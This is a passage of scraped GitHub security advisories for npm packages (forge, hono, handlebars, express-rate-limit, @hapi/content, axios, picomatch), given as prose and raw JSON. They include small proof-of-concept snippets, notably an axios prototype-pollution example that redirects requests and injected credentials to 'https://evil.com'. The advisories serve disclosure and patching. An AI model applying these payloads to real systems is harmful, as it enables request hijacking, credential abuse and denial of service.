\u003e= 0; --i) {\n+ if(bytes[offset + i] \u003c L[i]) {\n+ return true;\n+ }\n+ if(bytes[offset + i] \u003e L[i]) {\n+ return false;\n+ }\n+ }\n+ // S == L is non-canonical.\n+ return false;\n+}\n+\n function modL(r, x) {\n var carry, i, j, k;\n for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
"id": "GHSA-q67f-28xg-22rw",
"modified": "2026-03-27T21:51:06Z",
"published": "2026-03-26T22:04:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35961"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25793"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33895"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Forge has signature forgery in Ed25519 due to missing S \u003e L check"
}
GHSA-R5RP-J6WH-RVV4
Vulnerability from github – Published: 2026-04-08 00:17 – Updated: 2026-04-08 15:34Summary
A discrepancy between browser cookie parsing and parse() handling allows cookie prefix protections to be bypassed.
Cookie names that are treated as distinct by the browser may be normalized to the same key by parse(), allowing attacker-controlled cookies to override legitimate ones.
Details
Browsers follow RFC 6265bis and only trim SP (0x20) and HTAB (0x09) from cookie names. Other characters, such as the non-breaking space (U+00A0), are preserved as part of the cookie name.
For example, the browser treats the following cookies as distinct:
"dummy-cookie"
"\u00a0dummy-cookie"
However, parse() previously used JavaScript's trim(), which removes a broader set of characters including U+00A0. As a result, both names are normalized to:
"dummy-cookie"
This mismatch allows attacker-controlled cookies with a U+00A0 prefix to shadow or override legitimate cookies when accessed via getCookie().
Impact
An attacker who can set cookies (e.g., via a man-in-the-middle on a non-secure page or other injection vector) can bypass cookie prefix protections and override sensitive cookies.
This may lead to:
- Bypassing
__Secure-and__Host-prefix protections - Overriding cookies that rely on the Secure attribute
- Session fixation or session hijacking depending on application usage
This issue affects applications that rely on getCookie() for security-sensitive cookie handling.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39410"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:17:21Z",
"nvd_published_at": "2026-04-08T15:16:15Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA discrepancy between browser cookie parsing and `parse()` handling allows cookie prefix protections to be bypassed.\n\nCookie names that are treated as distinct by the browser may be normalized to the same key by `parse()`, allowing attacker-controlled cookies to override legitimate ones.\n\n## Details\n\nBrowsers follow RFC 6265bis and only trim SP (`0x20`) and HTAB (`0x09`) from cookie names. Other characters, such as the non-breaking space (`U+00A0`), are preserved as part of the cookie name.\n\nFor example, the browser treats the following cookies as distinct:\n\n```\n\"dummy-cookie\"\n\"\\u00a0dummy-cookie\"\n```\n\nHowever, `parse()` previously used JavaScript\u0027s `trim()`, which removes a broader set of characters including `U+00A0`. As a result, both names are normalized to:\n\n```\n\"dummy-cookie\"\n```\n\nThis mismatch allows attacker-controlled cookies with a `U+00A0` prefix to shadow or override legitimate cookies when accessed via `getCookie()`.\n\n## Impact\n\nAn attacker who can set cookies (e.g., via a man-in-the-middle on a non-secure page or other injection vector) can bypass cookie prefix protections and override sensitive cookies.\n\nThis may lead to:\n\n* Bypassing `__Secure-` and `__Host-` prefix protections\n* Overriding cookies that rely on the Secure attribute\n* Session fixation or session hijacking depending on application usage\n\nThis issue affects applications that rely on `getCookie()` for security-sensitive cookie handling.",
"id": "GHSA-r5rp-j6wh-rvv4",
"modified": "2026-04-08T15:34:46Z",
"published": "2026-04-08T00:17:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-r5rp-j6wh-rvv4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39410"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/cc067c85592415cb1880ad3c61ed923472452ec0"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono: Non-breaking space prefix bypass in cookie name handling in getCookie()"
}
GHSA-442J-39WM-28R2
Vulnerability from github – Published: 2026-03-29 15:16 – Updated: 2026-03-29 15:16Summary
In lib/handlebars/runtime.js, the container.lookup() function uses container.lookupProperty() as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (depths[i][name]). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that lookupProperty may perform.
Only relevant when the compat compile option is enabled ({compat: true}), which activates depthedLookup in lib/handlebars/compiler/javascript-compiler.js.
Description
The vulnerable code in lib/handlebars/runtime.js (lines 137–144):
lookup: function (depths, name) {
const len = depths.length;
for (let i = 0; i < len; i++) {
let result = depths[i] && container.lookupProperty(depths[i], name);
if (result != null) {
return depths[i][name]; // BUG: should be `return result;`
}
}
},
container.lookupProperty() (lines 119–136) enforces hasOwnProperty checks and resultIsAllowed() prototype-access controls. However, container.lookup() only uses lookupProperty as a boolean gate — if the gate passes (result != null), it then performs an independent, raw depths[i][name] access that circumvents any transformation or wrapped value that lookupProperty may have returned.
Workarounds
- Avoid enabling
{ compat: true }when rendering templates that include untrusted data. - Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-29T15:16:37Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137\u2013144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i \u003c len; i++) {\n let result = depths[i] \u0026\u0026 container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119\u2013136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate \u2014 if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).",
"id": "GHSA-442j-39wm-28r2",
"modified": "2026-03-29T15:16:37Z",
"published": "2026-03-29T15:16:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has a Property Access Validation Bypass in container.lookup"
}
GHSA-46WH-PXPV-Q5GQ
Vulnerability from github – Published: 2026-03-06 18:36 – Updated: 2026-03-09 15:58Summary
The default keyGenerator in express-rate-limit applies IPv6 subnet masking (/56 by default) to all addresses that net.isIPv6() returns true for. This includes IPv4-mapped IPv6 addresses (::ffff:x.x.x.x), which Node.js returns as request.ip on dual-stack servers.
Because the first 80 bits of all IPv4-mapped addresses are zero, a /56 (or any /32 to /80) subnet mask produces the same network key (::/56) for every IPv4 client. This collapses all IPv4 traffic into a single rate-limit bucket: one client exhausting the limit causes HTTP 429 for all other IPv4 clients.
Details
Root Cause
In source/ip-key-generator.ts:
export function ipKeyGenerator(ip: string, ipv6Subnet: number | false = 56) {
if (ipv6Subnet && isIPv6(ip)) {
return `${new Address6(`${ip}/${ipv6Subnet}`).startAddress().correctForm()}/${ipv6Subnet}`
}
return ip
}
net.isIPv6('::ffff:192.168.1.1') returns true, so IPv4-mapped addresses enter the subnet masking path. With a /56 prefix, the start address for any ::ffff:x.x.x.x is ::, producing the key ::/56.
Proof of Concept
const { isIPv6 } = require('net');
const { Address6 } = require('ip-address');
function ipKeyGenerator(ip, ipv6Subnet = 56) {
if (ipv6Subnet && isIPv6(ip)) {
return `${new Address6(`${ip}/${ipv6Subnet}`).startAddress().correctForm()}/${ipv6Subnet}`;
}
return ip;
}
console.log(ipKeyGenerator('::ffff:192.168.1.1', 56)); // ::/56
console.log(ipKeyGenerator('::ffff:10.0.0.1', 56)); // ::/56
console.log(ipKeyGenerator('::ffff:8.8.8.8', 56)); // ::/56
// ALL produce '::/56' — same bucket
End-to-End Validation
On a dual-stack Express server (app.listen(port, '::')), tested with Express 5.2.1:
- request.ip for IPv4 clients is ::ffff:127.0.0.1
- Rate limit key resolves to ::/56
- After limit requests from any IPv4 client, all other IPv4 clients receive 429
When This Occurs
- Node.js dual-stack servers (default on Linux when listening on
::) - Any environment where
request.ipcontains IPv4-mapped IPv6 addresses - Only affects the default
keyGenerator(custom key generators are not affected)
Impact
- Denial of Service: A single client can block all IPv4 traffic by exhausting the shared rate limit
- Affects default configuration: No special options needed to trigger this
Affected Versions
All versions of express-rate-limit between v8.0.0 and v8.2.1.
Fix
This issue was fixed in commit 14e53888cdfd1b9798faf5b634c4206409e27fc4. This fix has been included in release v8.3.0, and backported to all affected minor versions in the form of releases v8.2.2, v8.1.1, and v8.0.2.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "express-rate-limit"
},
"ranges": [
{
"events": [
{
"introduced": "8.2.0"
},
{
"fixed": "8.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "express-rate-limit"
},
"ranges": [
{
"events": [
{
"introduced": "8.1.0"
},
{
"fixed": "8.1.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"8.1.0"
]
},
{
"package": {
"ecosystem": "npm",
"name": "express-rate-limit"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30827"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-06T18:36:56Z",
"nvd_published_at": "2026-03-07T06:16:10Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe default `keyGenerator` in express-rate-limit applies IPv6 subnet masking (`/56` by default) to all addresses that `net.isIPv6()` returns true for. This includes IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`), which Node.js returns as `request.ip` on dual-stack servers.\n\nBecause the first 80 bits of all IPv4-mapped addresses are zero, a `/56` (or any `/32` to `/80`) subnet mask produces the same network key (`::/56`) for **every** IPv4 client. This collapses all IPv4 traffic into a single rate-limit bucket: one client exhausting the limit causes HTTP 429 for all other IPv4 clients.\n\n## Details\n\n### Root Cause\n\nIn `source/ip-key-generator.ts`:\n\n```typescript\nexport function ipKeyGenerator(ip: string, ipv6Subnet: number | false = 56) {\n if (ipv6Subnet \u0026\u0026 isIPv6(ip)) {\n return `${new Address6(`${ip}/${ipv6Subnet}`).startAddress().correctForm()}/${ipv6Subnet}`\n }\n return ip\n}\n```\n\n`net.isIPv6(\u0027::ffff:192.168.1.1\u0027)` returns `true`, so IPv4-mapped addresses enter the subnet masking path. With a `/56` prefix, the start address for any `::ffff:x.x.x.x` is `::`, producing the key `::/56`.\n\n### Proof of Concept\n\n```javascript\nconst { isIPv6 } = require(\u0027net\u0027);\nconst { Address6 } = require(\u0027ip-address\u0027);\n\nfunction ipKeyGenerator(ip, ipv6Subnet = 56) {\n if (ipv6Subnet \u0026\u0026 isIPv6(ip)) {\n return `${new Address6(`${ip}/${ipv6Subnet}`).startAddress().correctForm()}/${ipv6Subnet}`;\n }\n return ip;\n}\n\nconsole.log(ipKeyGenerator(\u0027::ffff:192.168.1.1\u0027, 56)); // ::/56\nconsole.log(ipKeyGenerator(\u0027::ffff:10.0.0.1\u0027, 56)); // ::/56\nconsole.log(ipKeyGenerator(\u0027::ffff:8.8.8.8\u0027, 56)); // ::/56\n// ALL produce \u0027::/56\u0027 \u2014 same bucket\n```\n\n### End-to-End Validation\n\nOn a dual-stack Express server (`app.listen(port, \u0027::\u0027)`), tested with Express 5.2.1:\n- `request.ip` for IPv4 clients is `::ffff:127.0.0.1`\n- Rate limit key resolves to `::/56`\n- After `limit` requests from any IPv4 client, all other IPv4 clients receive 429\n\n### When This Occurs\n\n- Node.js dual-stack servers (default on Linux when listening on `::`)\n- Any environment where `request.ip` contains IPv4-mapped IPv6 addresses\n- Only affects the default `keyGenerator` (custom key generators are not affected)\n\n## Impact\n\n- **Denial of Service**: A single client can block all IPv4 traffic by exhausting the shared rate limit\n- **Affects default configuration**: No special options needed to trigger this\n\n## Affected Versions\n\nAll versions of express-rate-limit between v8.0.0 and v8.2.1.\n\n## Fix\n\nThis issue was fixed in commit 14e53888cdfd1b9798faf5b634c4206409e27fc4. This fix has been included in release v8.3.0, and backported to all affected minor versions in the form of releases v8.2.2, v8.1.1, and v8.0.2.",
"id": "GHSA-46wh-pxpv-q5gq",
"modified": "2026-03-09T15:58:09Z",
"published": "2026-03-06T18:36:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/express-rate-limit/express-rate-limit/security/advisories/GHSA-46wh-pxpv-q5gq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30827"
},
{
"type": "WEB",
"url": "https://github.com/express-rate-limit/express-rate-limit/commit/14e53888cdfd1b9798faf5b634c4206409e27fc4"
},
{
"type": "PACKAGE",
"url": "https://github.com/express-rate-limit/express-rate-limit"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "express-rate-limit: IPv4-mapped IPv6 addresses bypass per-client rate limiting on servers with dual-stack network"
}
GHSA-JG4P-7FHP-P32P
Vulnerability from github – Published: 2026-04-04 04:23 – Updated: 2026-04-24 13:43All versions of @hapi/content through 6.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTTP header values. Three regular expressions used to parse Content-Type and Content-Disposition headers contain patterns susceptible to catastrophic backtracking. This has been fixed in v6.0.1.
Impact
Denial of Service. An unauthenticated remote attacker can cause a Node.js process to become unresponsive by sending a single HTTP request with a maliciously crafted header value.
Patches
Fixed by tightening all three regular expressions to eliminate backtracking.
Workarounds
There are no known workarounds. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@hapi/content"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35213"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T04:23:03Z",
"nvd_published_at": "2026-04-06T21:16:20Z",
"severity": "HIGH"
},
"details": "All versions of `@hapi/content` through 6.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTTP header values. Three regular expressions used to parse `Content-Type` and `Content-Disposition` headers contain patterns susceptible to catastrophic backtracking. This has been fixed in v6.0.1.\n\n### Impact\n\nDenial of Service. An unauthenticated remote attacker can cause a Node.js process to become unresponsive by sending a single HTTP request with a maliciously crafted header value.\n\n### Patches\n\nFixed by tightening all three regular expressions to eliminate backtracking.\n\n### Workarounds\n\nThere are no known workarounds. Upgrade to the patched version.",
"id": "GHSA-jg4p-7fhp-p32p",
"modified": "2026-04-24T13:43:15Z",
"published": "2026-04-04T04:23:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hapijs/content/security/advisories/GHSA-jg4p-7fhp-p32p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35213"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/content/pull/38"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapijs/content"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@hapi/content: Regular Expression Denial of Service (ReDoS) in HTTP header parsing"
}
GHSA-Q8QP-CVCW-X6JJ
Vulnerability from github – Published: 2026-05-05 00:18 – Updated: 2026-05-12 13:28Summary
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
Affected Properties
config.auth(lib/adapters/http.jsline 617) Injects attacker-controlledAuthorizationheader on all requests.config.baseURL(lib/helpers/resolveConfig.jsline 18) Redirects all requests using relative URLs to an attacker-controlled server.config.socketPath(lib/adapters/http.jsline 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).config.beforeRedirect(lib/adapters/http.jsline 698) Executes attacker-supplied callback during HTTP redirects.config.insecureHTTPParser(lib/adapters/http.jsline 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Impact
- Credential injection: Every axios request includes an attacker-controlled
Authorizationheader, leaking request contents to any server that logs auth headers. - Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
- SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
- Code execution: Attacker-supplied functions execute during HTTP redirects.
- Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause
mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Suggested Fix
Apply the existing own() helper to all affected properties:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42264"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:18:38Z",
"nvd_published_at": "2026-05-08T04:16:20Z",
"severity": "HIGH"
},
"details": "## Summary\n\nFive config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.\n\n## Affected Properties\n\n1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests.\n2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.\n3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).\n4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.\n5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.\n\n## Proof of Concept\n\n```javascript\nconst axios = require(\u0027axios\u0027);\n\n// Prototype pollution from a vulnerable dependency in the same process\nObject.prototype.auth = { username: \u0027attacker\u0027, password: \u0027exfil\u0027 };\nObject.prototype.baseURL = \u0027https://evil.com\u0027;\n\nawait axios.get(\u0027/api/users\u0027);\n// Request is sent to: https://evil.com/api/users\n// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=\n// Attacker receives both the request and injected credentials\n```\n\n## Impact\n\n- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.\n- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.\n- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.\n- **Code execution:** Attacker-supplied functions execute during HTTP redirects.\n- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.\n\n## Root Cause\n\n`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.\n\nThe `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.\n\n## Suggested Fix\n\nApply the existing `own()` helper to all affected properties:\n\n```javascript\nconst configAuth = own(\u0027auth\u0027);\nif (configAuth) {\n const username = configAuth.username || \u0027\u0027;\n const password = configAuth.password || \u0027\u0027;\n auth = username + \u0027:\u0027 + password;\n}\n```\n\nSame pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.",
"id": "GHSA-q8qp-cvcw-x6jj",
"modified": "2026-05-12T13:28:40Z",
"published": "2026-05-05T00:18:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42264"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10779"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking"
}
GHSA-3V7F-55P6-F55P
Vulnerability from github – Published: 2026-03-25 21:13 – Updated: 2026-03-27 21:36Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:
```js const POSIX_REGEX_SOURCE = { proto: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };
Resources
- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatch
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33672"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:13:39Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "MODERATE"
},
"details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n ```js\n const POSIX_REGEX_SOURCE = {\n __proto__: null,\n alnum: \u0027a-zA-Z0-9\u0027,\n alpha: \u0027a-zA-Z\u0027,\n // ... rest unchanged\n };\n \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
"id": "GHSA-3v7f-55p6-f55p",
"modified": "2026-03-27T21:36:24Z",
"published": "2026-03-25T21:13:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}
GHSA-69XW-7HCM-H432
Vulnerability from github – Published: 2026-05-06 23:49 – Updated: 2026-05-14 20:31Summary
Improper handling of JSX element tag names in hono/jsx allowed unvalidated tag names to be directly inserted into the generated HTML output.
